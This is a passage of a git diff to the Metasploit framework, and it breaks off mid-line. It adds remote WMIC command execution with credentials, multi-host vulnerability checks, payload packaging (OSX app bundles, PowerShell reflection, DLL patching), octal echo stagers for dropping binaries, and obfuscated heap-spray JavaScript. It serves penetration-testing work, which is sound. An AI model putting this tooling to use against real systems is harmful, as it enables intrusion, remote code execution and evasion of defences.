ber_data[curr_start_offset..curr_end_offset] + + break unless ber_data[curr_end_offset] == "\x04" + + curr_len_offset = curr_end_offset + 1 + curr_length = ber_data[curr_len_offset].unpack('C')[0] + curr_start_offset = curr_end_offset + 2 + curr_end_offset = curr_end_offset + curr_length + 2 + end + + # Strip trailing 0 or \x04 which is used to delimit values + values.map! {|x| x[0..x.length-2]} + + return values + end + + # Shortcut to the WLDAP32 Railgun Object + # @return [Object] wldap32 + def wldap32 + client.railgun.wldap32 + end + + # Binds to the default LDAP Server + # @param size_limit [Fixnum] Maximum number of results to return in a query + # @param domain [String] Optional domain or distinguished name + # @return LDAP session handle + def bind_default_ldap_server(size_limit, domain=nil) + vprint_status("Initializing LDAP connection.") + + # If domain is still null the API may be able to handle it... + init_result = wldap32.ldap_sslinitA(domain, 389, 0) + session_handle = init_result['return'] + if session_handle == 0 + raise RuntimeError.new("Unable to initialize ldap server: #{init_result["ErrorMessage"]}") + end + + vprint_status("LDAP Handle: #{session_handle}") + + vprint_status("Setting Sizelimit Option") + wldap32.ldap_set_option(session_handle, LDAP_OPT_SIZELIMIT, size_limit) + + vprint_status("Binding to LDAP server") + bind_result = wldap32.ldap_bind_sA(session_handle, nil, nil, LDAP_AUTH_NEGOTIATE) + + bind = bind_result['return'] + unless bind == 0 + wldap32.ldap_unbind(session_handle) + raise RuntimeError.new("Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}") + end + + if (block_given?) + begin + yield session_handle + ensure + vprint_status("Unbinding from LDAP service") + wldap32.ldap_unbind(session_handle) + end + else + return session_handle + end + + return session_handle + end + +end + +end +end +end diff --git a/lib/msf/core/post/windows/shadowcopy.rb b/lib/msf/core/post/windows/shadowcopy.rb index 47b1b2ac4e..64f4870977 100644 --- a/lib/msf/core/post/windows/shadowcopy.rb +++ b/lib/msf/core/post/windows/shadowcopy.rb @@ -11,6 +11,15 @@ module Windows module ShadowCopy include Msf::Post::Windows::Services + include Msf::Post::Windows::WMIC + + def initialize(info = {}) + super + + register_options([ + OptInt.new("TIMEOUT", [ true, "Timeout for WMI command in seconds", 60 ]) + ], self.class) + end # # Get the device name for the shadow copy, which is used when accessing @@ -37,7 +46,7 @@ module ShadowCopy # Use WMIC to get a list of volume shadow copy IDs. # def vss_get_ids - result = wmicexec('shadowcopy get id') + result = wmic_query('shadowcopy get id') ids = result.scan(/\{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}\}/) return ids end @@ -88,7 +97,7 @@ module ShadowCopy # specified by +id+ # def get_sc_param(id,param_name) - result = wmicexec("shadowcopy where(id=#{id}) get #{param_name}") + result = wmic_query("shadowcopy where(id=#{id}) get #{param_name}") result.gsub!(param_name,'') result.gsub!(/\s/,'') end @@ -98,7 +107,7 @@ module ShadowCopy # +param_name+ # def vss_get_storage_param(param_name) - result = wmicexec("shadowstorage get #{param_name}") + result = wmic_query("shadowstorage get #{param_name}") result.gsub!(param_name,'') result.gsub!(/\s/,'') end @@ -107,7 +116,7 @@ module ShadowCopy # Set the shadowstorage MaxSpace parameter to +bytes+ size # def vss_set_storage(bytes) - result = wmicexec("shadowstorage set MaxSpace=\"#{bytes}\"") + result = wmic_query("shadowstorage set MaxSpace=\"#{bytes}\"") if result.include?("success") return true else @@ -119,7 +128,8 @@ module ShadowCopy # Create a new shadow copy of the volume specified by +volume+ # def create_shadowcopy(volume) - result = wmicexec("shadowcopy call create \"ClientAccessible\", \"#{volume}\"") + result = wmic_query("shadowcopy call create \"ClientAccessible\", \"#{volume}\"") + retval = result.match(/ReturnValue = (\d)/) case retval[1].to_i when 0 @@ -160,7 +170,7 @@ module ShadowCopy # Start the Volume Shadow Service # def start_vss - vss_state = wmicexec('Service where(name="VSS") get state') + vss_state = wmic_query('Service where(name="VSS") get state') if vss_state=~ /Running/ print_status("Volume Shadow Copy service is running.") else @@ -191,48 +201,6 @@ module ShadowCopy return true end - # - # Execute a WMIC command - # - def wmicexec(wmiccmd) - tmpout = '' - session.response_timeout=120 - begin - tmp = session.sys.config.getenv('TEMP') - wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000)) - r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmiccmd}", nil, {'Hidden' => true}) - sleep(2) - #Making sure that wmic finishes before executing next wmic command - prog2check = "wmic.exe" - found = 0 - while found == 0 - session.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - - # Read the output file of the wmic commands - wmioutfile = session.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - wmioutfile.close - rescue ::Exception => e - print_error("Error running WMIC commands: #{e.class} #{e}") - end - # We delete the file with the wmic command output. - c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) - c.close - tmpout.gsub!(/[^[:print:]]/,'') #scrub out garbage - return tmpout - end - - end end end diff --git a/lib/msf/core/post/windows/wmic.rb b/lib/msf/core/post/windows/wmic.rb new file mode 100644 index 0000000000..f2e5fc965d --- /dev/null +++ b/lib/msf/core/post/windows/wmic.rb @@ -0,0 +1,119 @@ +# -*- coding: binary -*- + +module Msf +class Post +module Windows + +module WMIC + + include Msf::Post::File + include Msf::Post::Windows::ExtAPI + + def initialize(info = {}) + super + + register_options([ + OptString.new('SMBUser', [ false, 'The username to authenticate as' ]), + OptString.new('SMBPass', [ false, 'The password for the specified username' ]), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]), + OptAddress.new("RHOST", [ true, "Target address range", "localhost" ]), + OptInt.new("TIMEOUT", [ true, "Timeout for WMI command in seconds", 10 ]) + ], self.class) + end + + def wmic_query(query, server=datastore['RHOST']) + extapi = load_extapi + + result_text = "" + + if datastore['SMBUser'] + if server.downcase == "localhost" || server.downcase.starts_with("127.") + raise RuntimeError, "WMIC: User credentials cannot be used for local connections" + end + end + + if extapi + session.extapi.clipboard.set_text("") + wcmd = "wmic #{wmic_user_pass_string}/output:CLIPBOARD /INTERACTIVE:off /node:#{server} #{query}" + else + tmp = session.fs.file.expand_path("%TEMP%") + out_file = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}" + wcmd = "wmic #{wmic_user_pass_string}/output:#{out_file} /INTERACTIVE:off /node:#{server} #{query}" + end + + vprint_status("[#{server}] #{wcmd}") + + # We dont use cmd_exec as WMIC cannot be Channelized + ps = session.sys.process.execute(wcmd, nil, {'Hidden' => true, 'Channelized' => false}) + session.railgun.kernel32.WaitForSingleObject(ps.handle, (datastore['TIMEOUT'] * 1000)) + ps.close + + if extapi + result = session.extapi.clipboard.get_data.first + if result[1].has_key? 'Text' + result_text = result[1]['Text'] + else + result_text = "" + end + else + result_text = Rex::Text.to_ascii(read_file(out_file))[1..-1] + file_rm(out_file) + end + + return result_text + end + + def wmic_command(cmd, server=datastore['RHOST']) + result_text = wmic_query("process call create \"#{cmd.gsub('"','\\"')}\"", server) + + parsed_result = nil + unless result_text.blank? + vprint_status("[#{server}] WMIC Command Result:") + vprint_line(result_text) + parsed_result = parse_wmic_result(result_text) + end + + if parsed_result == nil + vprint_error("[#{server}] WMIC Command Error") + end + + return parsed_result + end + + def parse_wmic_result(result_text) + if result_text.blank? + return nil + else + pid = nil + return_value = nil + + if result_text =~ /ProcessId = (\d+);/ + pid = $1.to_i + end + + if result_text =~ /ReturnValue = (\d+);/ + return_value = $1.to_i + end + + return {:return => return_value, :pid => pid, :text =>result_text} + end + end + + def wmic_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass']) + userpass = "" + + unless user.nil? + if domain.nil? + userpass = "/user:\"#{user}\" /password:\"#{pass}\" " + else + userpass = "/user:\"#{domain}\\#{user}\" /password:\"#{pass}\" " + end + end + + return userpass + end + +end # WMIC +end # Windows +end # Post +end # Msf diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb index 691b5598e6..881a91600a 100644 --- a/lib/msf/core/post_mixin.rb +++ b/lib/msf/core/post_mixin.rb @@ -74,7 +74,7 @@ module Msf::PostMixin return @session if @session and not session_changed? if datastore["SESSION"] - @session = framework.sessions[datastore["SESSION"].to_i] + @session = framework.sessions.get(datastore["SESSION"].to_i) else @session = nil end diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb index 84bac06aad..dbe2e1d0a8 100644 --- a/lib/msf/core/session_manager.rb +++ b/lib/msf/core/session_manager.rb @@ -279,7 +279,17 @@ class SessionManager < Hash # Returns the session associated with the supplied sid, if any. # def get(sid) - return self[sid.to_i] + session = nil + sid = sid.to_i + + if sid > 0 + session = self[sid] + elsif sid == -1 + sid = self.keys.sort[-1] + session = self[sid] + end + + session end # diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 4d2781e94a..fcd294fa6c 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -397,15 +397,15 @@ class Core banner << "\n\n" end - banner << " =[ %yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr\n" + banner << " =[ %yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr ]\n" banner << "+ -- --=[ " - banner << "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post\n" + banner << "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post ]\n" banner << "+ -- --=[ " oldwarn = nil avdwarn = nil - banner << "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops\n" + banner << "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops ]\n" if ( ::Msf::Framework::RepoRevision.to_i > 0 and ::Msf::Framework::RepoUpdatedDate) tstamp = ::Msf::Framework::RepoUpdatedDate.strftime("%Y.%m.%d") banner << " =[ svn r#{::Msf::Framework::RepoRevision} updated #{::Msf::Framework::RepoUpdatedDaysNote} (#{tstamp})\n" @@ -428,6 +428,15 @@ class Core avdwarn << "" end + # We're running a two week survey to gather feedback from users. + # Let's make sure we reach regular msfconsole users. + # TODO: Get rid of this sometime after 2014-01-23 + survey_expires = Time.new(2014,"Jan",22,23,59,59,"-05:00") + if Time.now.to_i < survey_expires.to_i + banner << "+ -- --=[ Answer Q's about Metasploit and win a WiFi Pineapple Mk5 ]\n" + banner << "+ -- --=[ http://bit.ly/msfsurvey (Expires #{survey_expires.ctime}) ]\n" + end + # Display the banner print_line(banner) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 3c4d4b4745..f779e4de63 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -824,10 +824,15 @@ class Db tbl = Rex::Ui::Text::Table.new(tbl_opts) creds_returned = 0 + inactive_count = 0 # Now do the actual search framework.db.each_cred(framework.db.workspace) do |cred| # skip if it's inactive and user didn't ask for all - next unless (cred.active or inactive_ok) + if !cred.active && !inactive_ok + inactive_count += 1 + next + end + if search_term next unless cred.attribute_names.any? { |a| cred[a.intern].to_s.match(search_term) } end @@ -876,8 +881,15 @@ class Db end print_line - if (output_file == nil) + if output_file.nil? print_line(tbl.to_s) + if !inactive_ok && inactive_count > 0 + # Then we're not printing the inactive ones. Let the user know + # that there are some they are not seeing and how to get at + # them. + print_line "Also found #{inactive_count} inactive creds (`creds all` to list them)" + print_line + end else # create the output file ::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) } diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index f15e359393..d384abfb9c 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -36,35 +36,157 @@ module ModuleCommandDispatcher self.driver.active_module = m end + def check_progress + return 0 unless @range_done and @range_count + pct = (@range_done / @range_count.to_f) * 100 + end + + def check_show_progress + pct = check_progress + if(pct >= (@range_percent + @show_percent)) + @range_percent = @range_percent + @show_percent + tdlen = @range_count.to_s.length + print_status("Checked #{"%.#{tdlen}d" % @range_done} of #{@range_count} hosts (#{"%.3d" % pct.to_i}% complete)") + end + end + + def check_multiple(hosts) + # This part of the code is mostly from scanner.rb + @show_progress = framework.datastore['ShowProgress'] || mod.datastore['ShowProgress'] || false + @show_percent = ( framework.datastore['ShowProgressPercent'] || mod.datastore['ShowProgressPercent'] ).to_i + + @range_count = hosts.length || 0 + @range_done = 0 + @range_percent = 0 + + # Set the default thread to 1. The same behavior as before. + threads_max = (framework.datastore['THREADS'] || mod.datastore['THREADS'] || 1).to_i + @tl = [] + + + if Rex::Compat.is_windows + if threads_max > 16 + print_warning("Thread count has been adjusted to 16") + threads_max = 16 + end + end + + if Rex::Compat.is_cygwin + if threads_max > 200 + print_warning("Thread count has been adjusted to 200") + threads_max = 200 + end + end + + loop do + while (@tl.length < threads_max) + ip = hosts.next_ip + break unless ip + + @tl << framework.threads.spawn("CheckHost-#{ip}", false, ip.dup) { |tip| + # Make sure this is thread-safe when assigning an IP to the RHOST + # datastore option + instance = mod.replicant + instance.datastore['RHOST'] = tip.dup + framework.events.on_module_created(instance) + check_simple(instance) + } + end + + break if @tl.length == 0 + + tla = @tl.length + + # This exception handling is necessary, the first thread with errors can kill the + # whole check_multiple and leave the rest of the threads running in background and + # only accessible with the threads command (Thread.list) + begin + @tl.first.join + rescue ::Exception => exception + if exception.kind_of?(::Interrupt) + raise exception + else + elog("#{exception} #{exception.class}:\n#{exception.backtrace.join("\n")}") + end + end + + @tl.delete_if { |t| not t.alive? } + tlb = @tl.length + + @range_done += (tla - tlb) + check_show_progress if @show_progress + end + end + # # Checks to see if a target is vulnerable. # def cmd_check(*args) defanged? + + ip_range_arg = args.shift || framework.datastore['RHOSTS'] || mod.datastore['RHOSTS'] || '' + hosts = Rex::Socket::RangeWalker.new(ip_range_arg) + begin - code = mod.check_simple( + if hosts.ranges.blank? + # Check a single rhost + check_simple + else + # Check multiple hosts + last_rhost_opt = mod.rhost + last_rhosts_opt = mod.datastore['RHOSTS'] + mod.datastore['RHOSTS'] = ip_range_arg + begin + check_multiple(hosts) + ensure + # Restore the original rhost if set + mod.datastore['RHOST'] = last_rhost_opt + mod.datastore['RHOSTS'] = last_rhosts_opt + mod.cleanup + end + end + rescue ::Interrupt + # When the user sends interrupt trying to quit the task, some threads will still be active. + # This means even though the console tells the user the task has aborted (or at least they + # assume so), the checks are still running. Because of this, as soon as we detect interrupt, + # we force the threads to die. + if @tl + @tl.each { |t| t.kill } + end + print_status("Caught interrupt from the console...") + return + end + end + + def check_simple(instance=nil) + unless instance + instance = mod + end + + rhost = instance.rhost + rport = instance.rport + + begin + code = instance.check_simple( 'LocalInput' => driver.input, 'LocalOutput' => driver.output) if (code and code.kind_of?(Array) and code.length > 1) if (code == Msf::Exploit::CheckCode::Vulnerable) - print_good(code[1]) + print_good("#{rhost}:#{rport} - #{code[1]}") else - print_status(code[1]) + print_status("#{rhost}:#{rport} - #{code[1]}") end else - print_error("Check failed: The state could not be determined.") + print_error("#{rhost}:#{rport} - Check failed: The state could not be determined.") end - rescue ::Interrupt - raise $! + rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error + # Connection issues while running check should be handled by the module + rescue ::RuntimeError + # Some modules raise RuntimeError but we don't necessarily care about those when we run check() + rescue Msf::OptionValidateError => e + print_error("Check failed: #{e.message}") rescue ::Exception => e - print_error("Exploit check failed: #{e.class} #{e}") - if(e.class.to_s != 'Msf::OptionValidateError') - print_error("Call stack:") - e.backtrace.each do |line| - break if line =~ /lib.msf.base.simple/ - print_error(" #{line}") - end - end + print_error("#{rhost}:#{rport} - Check failed: #{e.class} #{e}") end end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index a5d4fc147f..4824dd7632 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -422,6 +422,17 @@ require 'msf/core/exe/segment_injector' if opts[:exe_type] == :dll mt = pe.index('MUTEX!!!') pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt + + if opts[:dll_exitprocess] + exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00" + exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73" + et_index = pe.index(exit_thread) + if et_index + pe[et_index,exit_process.length] = exit_process + else + raise RuntimeError, "Unable to find and replace ExitThread in the DLL." + end + end end return pe @@ -469,14 +480,24 @@ require 'msf/core/exe/segment_injector' # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.dll") opts[:exe_type] = :dll - exe_sub_method(code,opts) + + if opts[:inject] + return self.to_win32pe(framework, code, opts) + else + return exe_sub_method(code,opts) + end end def self.to_win64pe_dll(framework, code, opts={}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x64_windows.dll") opts[:exe_type] = :dll - exe_sub_method(code,opts) + + if opts[:inject] + raise RuntimeError, 'Template injection unsupported for x64 DLLs' + else + return exe_sub_method(code,opts) + end end # @@ -606,6 +627,48 @@ require 'msf/core/exe/segment_injector' return macho end + # @param [Hash] opts the options hash + # @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user) + # @option opts [String] :app_name (random) the name of the OSX app + # @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file + # @return [String] zip archive containing an OSX .app directory + def self.to_osx_app(exe, opts={}) + exe_name = opts[:exe_name] || Rex::Text.rand_text_alpha(8) + app_name = opts[:app_name] || Rex::Text.rand_text_alpha(8) + plist_extra = opts[:plist_extra] || '' + + app_name.chomp!(".app") + app_name += ".app" + + info_plist = %Q| + + + + + CFBundleExecutable + #{exe_name} + CFBundleIdentifier + com.#{exe_name}.app + CFBundleName + #{exe_name} + CFBundlePackageType + APPL + #{plist_extra} + + + | + + zip = Rex::Zip::Archive.new + zip.add_file("#{app_name}/", '') + zip.add_file("#{app_name}/Contents/", '') + zip.add_file("#{app_name}/Contents/MacOS/", '') + zip.add_file("#{app_name}/Contents/Resources/", '') + zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe) + zip.add_file("#{app_name}/Contents/Info.plist", info_plist) + zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt') + zip.pack + end + # Create an ELF executable containing the payload provided in +code+ # # For the default template, this method just appends the payload, checks if @@ -782,7 +845,7 @@ require 'msf/core/exe/segment_injector' return read_replace_script_template("to_exe.vba.template", hash_sub) end -def self.to_vba(framework,code,opts={}) + def self.to_vba(framework,code,opts={}) hash_sub = {} hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize @@ -920,6 +983,33 @@ def self.to_vba(framework,code,opts={}) return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(? false })) when 'loop-vbs' - exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true })) when 'war' @@ -1712,6 +1806,9 @@ def self.to_vba(framework,code,opts={}) when 'psh-net' output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts) + + when 'psh-reflection' + output = Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts) end @@ -1733,8 +1830,10 @@ def self.to_vba(framework,code,opts={}) "macho", "msi", "msi-nouac", + "osx-app", "psh", "psh-net", + "psh-reflection", "vba", "vba-exe", "vbs", diff --git a/lib/rex/compat.rb b/lib/rex/compat.rb index 99eebbe428..cc6656715b 100644 --- a/lib/rex/compat.rb +++ b/lib/rex/compat.rb @@ -114,7 +114,7 @@ def self.open_file(url='') end end -def self.open_browser(url='http://metasploit.com/') +def self.open_browser(url='http://google.com/') case RUBY_PLATFORM when /cygwin/ if(url[0,1] == "/") @@ -148,6 +148,62 @@ def self.open_browser(url='http://metasploit.com/') end end +def self.open_webrtc_browser(url='http://google.com/') + found_browser = false + + case RUBY_PLATFORM + when /mswin2|mingw|cygwin/ + paths = [ + "Google\\Chrome\\Application\\chrome.exe", + "Mozilla Firefox\\firefox.exe", + "Opera\\launcher.exe" + ] + + prog_files = ENV['ProgramFiles'] + paths = paths.map { |p| "#{prog_files}\\#{p}" } + + # Old chrome path + app_data = ENV['APPDATA'] + paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe" + + paths.each do |p| + if File.exists?(p) + args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" + system("#{path} #{args} #{url}") + found_browser = true + break + end + end + + when /darwin/ + ['Google Chrome.app', 'Firefox.app'].each do |browser| + browser_path = "/Applications/#{browser}" + if File.directory?(browser_path) + args = (browser_path =~ /Chrome/) ? "--args --allow-file-access-from-files" : "" + + system("open #{url} -a \"#{browser_path}\" #{args} &") + found_browser = true + break + end + end + else + if defined? ENV['PATH'] + ['chrome', 'chromium', 'firefox', 'opera'].each do |browser| + ENV['PATH'].split(':').each do |path| + browser_path = "#{path}/#{browser}" + if File.exists?(browser_path) + args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : "" + system("#{browser_path} #{args} #{url} &") + found_browser = true + end + end + end + end + end + + found_browser +end + def self.open_email(addr) case RUBY_PLATFORM when /mswin32|cygwin/ diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index 93aa1f4603..049a6801b5 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -64,29 +64,30 @@ LEV_3 = 3 # # Architecture constants # -ARCH_ANY = '_any_' -ARCH_X86 = 'x86' -ARCH_X86_64 = 'x86_64' -ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64 -ARCH_MIPS = 'mips' -ARCH_MIPSLE = 'mipsle' -ARCH_MIPSBE = 'mipsbe' -ARCH_PPC = 'ppc' -ARCH_PPC64 = 'ppc64' -ARCH_CBEA = 'cbea' -ARCH_CBEA64 = 'cbea64' -ARCH_SPARC = 'sparc' -ARCH_CMD = 'cmd' -ARCH_PHP = 'php' -ARCH_TTY = 'tty' -ARCH_ARMLE = 'armle' -ARCH_ARMBE = 'armbe' -ARCH_JAVA = 'java' -ARCH_RUBY = 'ruby' -ARCH_DALVIK = 'dalvik' -ARCH_PYTHON = 'python' -ARCH_NODEJS = 'nodejs' -ARCH_TYPES = +ARCH_ANY = '_any_' +ARCH_X86 = 'x86' +ARCH_X86_64 = 'x86_64' +ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64 +ARCH_MIPS = 'mips' +ARCH_MIPSLE = 'mipsle' +ARCH_MIPSBE = 'mipsbe' +ARCH_PPC = 'ppc' +ARCH_PPC64 = 'ppc64' +ARCH_CBEA = 'cbea' +ARCH_CBEA64 = 'cbea64' +ARCH_SPARC = 'sparc' +ARCH_CMD = 'cmd' +ARCH_PHP = 'php' +ARCH_TTY = 'tty' +ARCH_ARMLE = 'armle' +ARCH_ARMBE = 'armbe' +ARCH_JAVA = 'java' +ARCH_RUBY = 'ruby' +ARCH_DALVIK = 'dalvik' +ARCH_PYTHON = 'python' +ARCH_NODEJS = 'nodejs' +ARCH_FIREFOX = 'firefox' +ARCH_TYPES = [ ARCH_X86, ARCH_X86_64, @@ -107,7 +108,8 @@ ARCH_TYPES = ARCH_RUBY, ARCH_DALVIK, ARCH_PYTHON, - ARCH_NODEJS + ARCH_NODEJS, + ARCH_FIREFOX ] ARCH_ALL = ARCH_TYPES diff --git a/lib/rex/encoding/xor/generic.rb b/lib/rex/encoding/xor/generic.rb index 311dd40008..5e9dc831af 100644 --- a/lib/rex/encoding/xor/generic.rb +++ b/lib/rex/encoding/xor/generic.rb @@ -36,7 +36,7 @@ class Generic return _find_good_key(data, _find_bad_keys(data, badchars), badchars) end - # !!! xxx MAKE THESE BITCHE PRIVATE + # !!! xxx MAKE THESE PRIVATE # # Find a list of bytes that can't be valid xor keys, from the data and badchars. diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb index 8b1c5122a3..bf1670783f 100644 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -10,6 +10,11 @@ module Exploitation class CmdStagerEcho < CmdStagerBase + ENCODINGS = { + 'hex' => "\\\\x", + 'octal' => "\\\\" + } + def initialize(exe) super @@ -18,12 +23,21 @@ class CmdStagerEcho < CmdStagerBase # # Override to ensure opts[:temp] is a correct *nix path + # and initialize opts[:enc_format]. # def generate(opts = {}) opts[:temp] = opts[:temp] || '/tmp/' opts[:temp].gsub!(/\\/, "/") opts[:temp] = opts[:temp].shellescape opts[:temp] << '/' if opts[:temp][-1,1] != '/' + + # by default use the 'hex' encoding + opts[:enc_format] = opts[:enc_format] || 'hex' + + unless ENCODINGS.keys.include?(opts[:enc_format]) + raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}" + end + super end @@ -32,20 +46,39 @@ class CmdStagerEcho < CmdStagerBase # def generate_cmds(opts) # Set the start/end of the commands here (vs initialize) so we have @tempdir - @cmd_start = "echo -en " + @cmd_start = "echo " + unless opts[:noargs] + @cmd_start += "-en " + end + @cmd_end = ">>#{@tempdir}#{@var_elf}" - xtra_len = @cmd_start.length + @cmd_end.length + 1 + xtra_len = @cmd_start.length + @cmd_end.length opts.merge!({ :extra => xtra_len }) + + @prefix = ENCODINGS[opts[:enc_format]] + min_part_size = 5 # for both encodings + + if (opts[:linemax] - opts[:extra]) < min_part_size + raise RuntimeError, "CmdStagerEcho - Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available" + end + super end # - # Encode into a "\\x55\\xAA" hex format that echo understands, where - # interpretation of backslash escapes are enabled + # Encode into a format that echo understands, where + # interpretation of backslash escapes are enabled. For + # hex, it'll look like "\\x41\\x42", and octal will be + # "\\101\\102\\5\\41" # def encode_payload(opts) - return Rex::Text.to_hex(@exe, "\\\\x") + case opts[:enc_format] + when 'octal' + return Rex::Text.to_octal(@exe, @prefix) + else + return Rex::Text.to_hex(@exe, @prefix) + end end @@ -93,10 +126,8 @@ class CmdStagerEcho < CmdStagerBase while (encoded_dup.length > 0) temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) # cut the end of the part until we reach the start - # of a full byte representation "\\xYZ" - while (temp.length > 0 && temp[-5, 3] != "\\\\x") - temp.chop! - end + # of a full byte representation "\\xYZ" or "\\YZX" + temp = fix_last_byte(temp, opts, encoded_dup) parts << temp encoded_dup.slice!(0, temp.length) end @@ -104,6 +135,25 @@ class CmdStagerEcho < CmdStagerBase parts end + def fix_last_byte(part, opts, remaining="") + fixed_part = part.dup + + case opts[:enc_format] + when 'hex' + while (fixed_part.length > 0 && fixed_part[-5, @prefix.length] != @prefix) + fixed_part.chop! + end + when 'octal' + if remaining.length > fixed_part.length and remaining[fixed_part.length, @prefix.length] != @prefix + pos = fixed_part.rindex('\\') + pos -= 1 if fixed_part[pos-1] == '\\' + fixed_part.slice!(pos..fixed_part.length-1) + end + end + + return fixed_part + end + def cmd_concat_operator " ; " end diff --git a/lib/rex/exploitation/js/memory.rb b/lib/rex/exploitation/js/memory.rb index 2d94e2ae5e..bbbebd8cf0 100644 --- a/lib/rex/exploitation/js/memory.rb +++ b/lib/rex/exploitation/js/memory.rb @@ -24,6 +24,18 @@ class Memory }).obfuscate end + def self.heaplib2(custom_js='', opts={}) + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heaplib2.js")) + + unless custom_js.blank? + js << custom_js + end + + js = ::Rex::Exploitation::JSObfu.new js + js.obfuscate + return js + end + def self.property_spray js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "property_spray.js")) diff --git a/lib/rex/exploitation/jsobfu.rb b/lib/rex/exploitation/jsobfu.rb index 746206b455..4b84d16b53 100644 --- a/lib/rex/exploitation/jsobfu.rb +++ b/lib/rex/exploitation/jsobfu.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'rex/text' +require 'rex/random_identifier_generator' require 'rkelly' module Rex @@ -47,6 +48,15 @@ module Exploitation # class JSObfu + # these keywords should never be used as a random var name + # source: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Reserved_Words + RESERVED_KEYWORDS = %w( + break case catch continue debugger default delete do else finally + for function if in instanceof new return switch this throw try + typeof var void while with class enum export extends import super + implements interface let package private protected public static yield + ) + # # Abstract Syntax Tree generated by RKelly::Parser#parse # @@ -60,6 +70,11 @@ class JSObfu @funcs = {} @vars = {} @debug = false + @rand_gen = Rex::RandomIdentifierGenerator.new( + :max_length => 15, + :first_char_set => Rex::Text::Alpha+"_$", + :char_set => Rex::Text::AlphaNumeric+"_$" + ) end # @@ -107,8 +122,23 @@ class JSObfu obfuscate_r(@ast) end + # @return [String] a unique random var name that is not a reserved keyword + def random_var_name + loop do + text = random_string + unless @vars.has_value?(text) or RESERVED_KEYWORDS.include?(text) + return text + end + end + end + protected + # @return [String] a random string + def random_string + @rand_gen.generate + end + # # Recursive method to obfuscate the given +ast+. # @@ -152,14 +182,12 @@ protected # Variables when ::RKelly::Nodes::VarDeclNode if @vars[node.name].nil? - #@vars[node.name] = "var_#{Rex::Text.rand_text_alpha(3+rand(12))}_#{node.name}" - @vars[node.name] = 